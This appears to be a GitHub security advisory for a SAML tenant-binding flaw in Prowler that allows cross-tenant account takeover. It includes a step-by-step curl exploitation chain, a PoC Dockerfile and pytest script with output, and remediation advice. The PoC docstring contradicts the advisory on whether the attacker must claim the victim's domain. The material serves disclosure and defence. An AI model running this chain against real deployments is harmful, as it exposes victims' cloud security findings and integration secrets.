GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-H8M9-JGF8-VWVP

Vulnerability from github – Published: 2026-09-11 21:38 – Updated: 2026-09-11 21:38
VLAI
Summary
Prowler: SAML Domain Claiming Enables Cross-Tenant Account Takeover
Details

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

  1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

  2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

  3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

  4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

  5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

  6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

  • the organization_slug from the ACS route
  • the SAMLConfiguration.email_domain
  • the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because reject_idp_initiated_sso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences: - Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.) - Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant - Lateral movement into any additional tenants the victim belongs to via the token switch endpoint - Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).
#
# Build context must be the parent directory:
#   docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

# Install system packages required for:
#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
#   - psycopg2: PostgreSQL client headers
#   - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    g++ \
    make \
    git \
    libxml2-dev \
    libxmlsec1-dev \
    libxmlsec1-openssl \
    pkg-config \
    libtool \
    libxslt1-dev \
    python3-dev \
    && rm -rf /var/lib/apt/lists/*

# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/

# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc_vuln001.py

WORKDIR /prowler/api/src/backend

# Set up environment variables for the test run.
# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.
ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO_SETTINGS_MODULE=config.django.testing
ENV POSTGRES_HOST=postgres
ENV POSTGRES_USER=prowler_admin
ENV POSTGRES_PASSWORD=prowler_password
ENV POSTGRES_DB=prowler_test_db
ENV POSTGRES_PORT=5432
ENV SECRET_KEY=poc-test-secret-key-not-for-production
ENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY_HOST=localhost
ENV VALKEY_PORT=6379
ENV VALKEY_PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J_USER=neo4j
ENV NEO4J_PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO_SENTRY_DSN=""

CMD ["python", "-m", "pytest", "poc_vuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product:  toniblyx/prowler v5.30.0 (commit c2cef99)
CWE:      CWE-287 - Improper Authentication
CVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location:
    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)
    api/src/backend/config/settings/social_login.py  lines 23, 25, 78

Root cause:
    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email
    from the assertion and calls get_user_by_email() which does a GLOBAL user
    table lookup with no tenant-scope or domain-ownership check.  If a user
    with that email already exists, sociallogin.connect() links the attacker's
    SAML session to that account - giving the attacker control of the victim.

Attack chain:
    1. Attacker registers a Prowler account and creates a tenant (normal user).
    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.
       models.py only validates format/uniqueness - no ownership proof.
    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
       attacker's certificate, asserting NameID=victim@victim.com.
    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
       pre_social_login.  The adapter looks up victim@victim.com globally and
       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.
    5. views.py issues a SAMLToken (JWT) for the victim account.
    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database.  sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""

import pytest
from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get_user_model

from api.adapters import ProwlerSocialAccountAdapter

User = get_user_model()

VICTIM_EMAIL = "victim@victim.com"
VICTIM_DOMAIN = "victim.com"
ATTACKER_EMAIL = "attacker@evil-corp.com"


# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
    width = 70
    print(f"\n{'=' * width}")
    print(f"  {title}")
    print(f"{'=' * width}")


# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------

@pytest.mark.django_db
class TestSAMLDomainClaimingAccountTakeover:
    """
    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
    a live PostgreSQL test database created by pytest-django.

    The test creates a victim user in the database, then simulates the exact
    HTTP flow an attacker would trigger via a crafted SAMLResponse.
    """

    def test_attacker_saml_session_links_to_victim_account(self, rf):
        """
        Verify that pre_social_login() links the attacker's SAML sociallogin
        to an existing victim account without ANY domain-ownership check.

        Expected outcome (vulnerability confirmed):
            sociallogin.connect(request, victim_user) is called where
            victim_user.email == VICTIM_EMAIL and victim_user was created
            independently of the SAML session - i.e. the adapter does NOT
            verify that the SAML registrant owns victim.com.
        """
        # ---------------------------------------------------------------
        # STEP 1 - Create the victim's pre-existing account in the database.
        #          In a real attack the victim signed up with email+password
        #          and has an existing Prowler tenant membership.
        # ---------------------------------------------------------------
        section("STEP 1: Create victim account in database")

        victim_user = User.objects.create_user(
            name="Victim User",
            email=VICTIM_EMAIL,
            password="VictimS3cret!",
        )
        # Confirm the user was actually persisted (real DB round-trip)
        fetched = User.objects.get(email=VICTIM_EMAIL)
        assert fetched.id == victim_user.id, "Victim user must exist in database"

        print(f"[+] Victim user created in DB:")
        print(f"    email = {victim_user.email}")
        print(f"    id    = {victim_user.id}")

        # ---------------------------------------------------------------
        # STEP 2 - Simulate the attacker's SAML flow.
        #
        #   a. Attacker previously registered a SAMLConfiguration for
        #      email_domain='victim.com' via POST /api/v1/saml-config.
        #      (No domain ownership proof is required - see models.py:2100)
        #
        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed
        #      with the attacker's certificate, asserting:
        #        NameID = victim@victim.com
        #
        #   c. allauth processes the ACS POST and calls pre_social_login()
        #      before creating/updating the social account record.
        #
        #   We represent the processed SAMLResponse as an allauth SocialLogin
        #   object.  The 'connect' method is spied upon to capture arguments.
        # ---------------------------------------------------------------
        section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

        # Build the sociallogin object that allauth would construct after
        # validating the SAMLResponse signature (which uses the *attacker's*
        # certificate - no server-side cert pinning for victim.com).
        attacker_saml_login = MagicMock(spec=SocialLogin)
        attacker_saml_login.provider = MagicMock()
        attacker_saml_login.provider.id = "saml"          # Provider discriminator
        attacker_saml_login.account = MagicMock()
        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path
        attacker_saml_login.user = MagicMock()
        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
        # This is the email that pre_social_login() will trust without verification.
        attacker_saml_login.user.email = VICTIM_EMAIL
        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments

        # Simulate the ACS request (POST to the victim.com ACS endpoint)
        acs_request = rf.post(
            f"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/",
            data={"SAMLResponse": "<attacker-signed-base64>"},
        )

        print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
        print(f"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/")
        print(f"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)")

        # ---------------------------------------------------------------
        # STEP 3 - Execute the vulnerable adapter method.
        #
        #   api/src/backend/api/adapters.py lines 17-25:
        #
        #   def pre_social_login(self, request, sociallogin):
        #       email = sociallogin.account.extra_data.get("email")  # line 19
        #       if sociallogin.provider.id == "saml":
        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID
        #       if email:
        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup
        #           if existing_user:
        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED
        # ---------------------------------------------------------------
        section("STEP 3: Execute pre_social_login (vulnerable code path)")

        adapter = ProwlerSocialAccountAdapter()
        print(f"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()")
        print(f"    File: api/src/backend/api/adapters.py:17")

        adapter.pre_social_login(acs_request, attacker_saml_login)

        # ---------------------------------------------------------------
        # STEP 4 - Verify the attack succeeded.
        # ---------------------------------------------------------------
        section("STEP 4: Verify attack outcome")

        assert attacker_saml_login.connect.called, (
            "FAIL: sociallogin.connect() was NOT called - "
            "the attack path did not execute"
        )

        call_args = attacker_saml_login.connect.call_args[0]
        _, connected_user = call_args   # connect(request, existing_user)

        print(f"[!] sociallogin.connect() was called!")
        print(f"    connected user email: {connected_user.email}")
        print(f"    connected user id:    {connected_user.id}")
        print(f"    victim user id:       {victim_user.id}")

        # The connected user must be the VICTIM (looked up from global DB)
        assert connected_user.email == VICTIM_EMAIL, (
            f"FAIL: connect() was called with {connected_user.email!r}, "
            f"expected {VICTIM_EMAIL!r}"
        )
        assert str(connected_user.id) == str(victim_user.id), (
            f"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}"
        )

        # Confirm no domain-ownership check happened:
        # The adapter does not inspect the SAML configuration to verify that
        # the sociallogin's tenant registered victim.com before accepting the email.
        section("RESULT: VULNERABILITY CONFIRMED")

        print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
        print()
        print(f"  Root cause (adapters.py:21-25):")
        print(f"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}")
        print(f"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope")
        print(f"    sociallogin.connect(request, existing_user)  # links attacker session to victim")
        print()
        print(f"  Contributing settings (social_login.py):")
        print(f"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded")
        print(f"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed")
        print()
        print(f"  Impact:")
        print(f"    - Attacker obtains JWT token for {VICTIM_EMAIL}")
        print(f"    - Attacker can access victim's cloud security findings")
        print(f"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
        print(f"    - No victim interaction required (IdP-initiated SSO enabled)")
        print()
        print(f"  Evidence (this test run):")
        print(f"    - Victim user id in DB:            {victim_user.id}")
        print(f"    - User passed to connect():        {connected_user.id}")
        print(f"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}")
        print(f"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "prowler-cloud"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:38:24Z",
    "nvd_published_at": "2026-07-10T19:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## SAML Tenant Binding Enables Cross-Tenant Account Takeover\n\n### Summary\n\nProwler\u0027s SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.\n\nIn the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.\n\nThe attacker does not generally need to claim the victim\u0027s email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique.\n\n### Details\nThe confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:\n\n```python\nemail_domain = user.email.split(\"@\")[-1]\ntenant = (\n    SAMLConfiguration.objects.using(MainRouter.admin_db)\n    .get(email_domain=email_domain)\n    .tenant\n)\n```\n\nThis is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.\n\nThe attack is made possible by several compounding weaknesses:\n\n1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.\n\n2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={\u0027tenant\u0027: self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.\n\n3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime.\n\n4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim.\n\n5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration.\n\n6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Build the PoC Docker image (build context = repo root)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Start the stack (PostgreSQL + PoC runner)\ndocker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit\n```\n\n**Automated test (runs inside the container):**\n\n```bash\npython -m pytest poc_vuln001.py -v -s --no-header --tb=short\n```\n\n**Manual HTTP exploitation chain (against a live Prowler API):**\n\n**Step 1 - Attacker configures SAML for their own email domain:**\n\n```bash\ncurl -i -X POST \"$API/api/v1/saml-config\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/vnd.api+json\" \\\n  --data \u0027{\n    \"data\":{\"type\":\"saml-configurations\",\"attributes\":{\n      \"email_domain\":\"attacker.com\",\n      \"metadata_xml\":\"\u003cmd:EntityDescriptor entityID=\\\"evil-idp\\\" xmlns:md=\\\"urn:oasis:names:tc:SAML:2.0:metadata\\\"\u003e...attacker cert and SSO URL...\u003c/md:EntityDescriptor\u003e\"\n    }}\n  }\u0027\n```\n\nThe attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.\n\n**Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:**\n\n```bash\n# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker\u0027s private key,\n# valid for the attacker\u0027s configured IdP, but asserting NameID = user@victim.com\ncurl -i -L -c c.jar -b c.jar \\\n  -X POST \"$API/api/v1/accounts/saml/attacker.com/acs/\" \\\n  --data-urlencode \"SAMLResponse=$SIGNED_ASSERTION\"\n```\n\n**Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:**\n\nIn the vulnerable version, the finish flow used `user.email.split(\"@\")[-1]` to resolve the tenant. If the asserted domain mapped to another tenant\u0027s SAML configuration, token issuance could be bound to the wrong tenant.\n\n**Step 4 - Exchange the SAML token for a victim JWT:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID\"\n# Returns access/refresh JWT if the temporary SAML token is valid and has not expired\n```\n\n**Step 5 - Switch into the victim\u0027s real tenant:**\n\n```bash\ncurl -s -X POST \"$API/api/v1/tokens/switch\" \\\n  -H \"Authorization: Bearer $VICTIM_JWT\" \\\n  -H \"Content-Type: application/vnd.api+json\" \\\n  --data \u0027{\n    \"data\":{\n      \"type\":\"tokens-switch-tenant\",\n      \"attributes\":{\n        \"tenant_id\":\"\u003cvictim-real-tenant-uuid\u003e\"\n      }\n    }\n  }\u0027\n# Returns a valid token scoped to the victim\u0027s tenant\n```\n\n**Observed output from the automated PoC:**\n\nNote: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.\n\n```\n[+] Victim user created in DB:\n    email = victim@victim.com\n    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n[+] Simulated SAMLResponse posted to ACS endpoint:\n    URL:    POST /api/v1/accounts/saml/victim.com/acs/\n    NameID: victim@victim.com  (attacker-controlled)\n[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\n    File: api/src/backend/api/adapters.py:17\n[!] sociallogin.connect() was called!\n    connected user email: victim@victim.com\n    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8\n  - IDs match (victim\u0027s account):   True\n  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\nPASSED\n======================== 1 passed, 2 warnings in 35.42s ========================\n```\n\n**Recommended remediation** (`api/src/backend/api/v1/views.py`):\n\nBind token issuance to the SAML configuration selected by the ACS route.\n\nThe ACS finish flow should verify that the following values all match:\n\n- the `organization_slug` from the ACS route\n- the `SAMLConfiguration.email_domain`\n- the domain portion of the asserted SAML user email\n\nThen issue the token using the tenant from that validated SAML configuration:\n\n```python\ntenant = saml_config.tenant\n```\n\nThe tenant must not be recalculated from `user.email`.\n\n### Impact\n\nThis is an **Improper Authentication (CWE-287)** vulnerability that enables **cross-tenant account takeover**. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.\n\n**Who is impacted:** users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because `reject_idp_initiated_sso` is `False`, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.\n\n**Consequences:**\n- Full read/write access to the victim\u0027s cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)\n- Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim\u0027s tenant\n- Lateral movement into any additional tenants the victim belongs to via the token switch endpoint\n- Possible persistent access depending on the SAML account-linking behavior in the affected version\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n#\n# Builds a minimal Prowler API test environment to reproduce the vulnerability\n# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).\n#\n# Build context must be the parent directory:\n#   docker build -t vuln001-poc -f vuln-001/Dockerfile .\n\nFROM python:3.12.10-slim-bookworm\n\nLABEL maintainer=\"security-research\"\nLABEL description=\"PoC environment for VULN-001: SAML domain claiming account takeover\"\n\n# Install system packages required for:\n#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1\n#   - psycopg2: PostgreSQL client headers\n#   - uv / prowler git dep: git, gcc, g++\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    gcc \\\n    g++ \\\n    make \\\n    git \\\n    libxml2-dev \\\n    libxmlsec1-dev \\\n    libxmlsec1-openssl \\\n    pkg-config \\\n    libtool \\\n    libxslt1-dev \\\n    python3-dev \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install uv (same version as the original Dockerfile)\nRUN pip install --no-cache-dir uv==0.11.14\n\nWORKDIR /prowler\n\n# Copy API dependency manifests first (for layer caching)\nCOPY repo/api/pyproject.toml repo/api/uv.lock ./api/\n\n# Install all Python dependencies from the locked file.\n# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.\nWORKDIR /prowler/api\nRUN uv sync --locked --no-install-project \u0026\u0026 rm -rf ~/.cache/uv\n\n# Copy the full backend source code\nCOPY repo/api/src/backend/ ./src/backend/\n\n# Copy the PoC test into the backend working directory so pytest can discover it\nCOPY vuln-001/poc.py ./src/backend/poc_vuln001.py\n\nWORKDIR /prowler/api/src/backend\n\n# Set up environment variables for the test run.\n# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.\nENV PATH=\"/prowler/api/.venv/bin:$PATH\"\nENV DJANGO_SETTINGS_MODULE=config.django.testing\nENV POSTGRES_HOST=postgres\nENV POSTGRES_USER=prowler_admin\nENV POSTGRES_PASSWORD=prowler_password\nENV POSTGRES_DB=prowler_test_db\nENV POSTGRES_PORT=5432\nENV SECRET_KEY=poc-test-secret-key-not-for-production\nENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=\n# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)\nENV VALKEY_HOST=localhost\nENV VALKEY_PORT=6379\nENV VALKEY_PASSWORD=\"\"\n# Neo4j not needed for adapter tests\nENV NEO4J_USER=neo4j\nENV NEO4J_PASSWORD=neo4j\n# Silence Sentry in test runs\nENV DJANGO_SENTRY_DSN=\"\"\n\nCMD [\"python\", \"-m\", \"pytest\", \"poc_vuln001.py\", \"-v\", \"-s\", \"--no-header\", \"--tb=short\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover\n\nProduct:  toniblyx/prowler v5.30.0 (commit c2cef99)\nCWE:      CWE-287 - Improper Authentication\nCVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\n\nVulnerability location:\n    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)\n    api/src/backend/config/settings/social_login.py  lines 23, 25, 78\n\nRoot cause:\n    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email\n    from the assertion and calls get_user_by_email() which does a GLOBAL user\n    table lookup with no tenant-scope or domain-ownership check.  If a user\n    with that email already exists, sociallogin.connect() links the attacker\u0027s\n    SAML session to that account - giving the attacker control of the victim.\n\nAttack chain:\n    1. Attacker registers a Prowler account and creates a tenant (normal user).\n    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.\n       models.py only validates format/uniqueness - no ownership proof.\n    3. Attacker\u0027s IdP (self-controlled) issues a SAMLResponse signed with the\n       attacker\u0027s 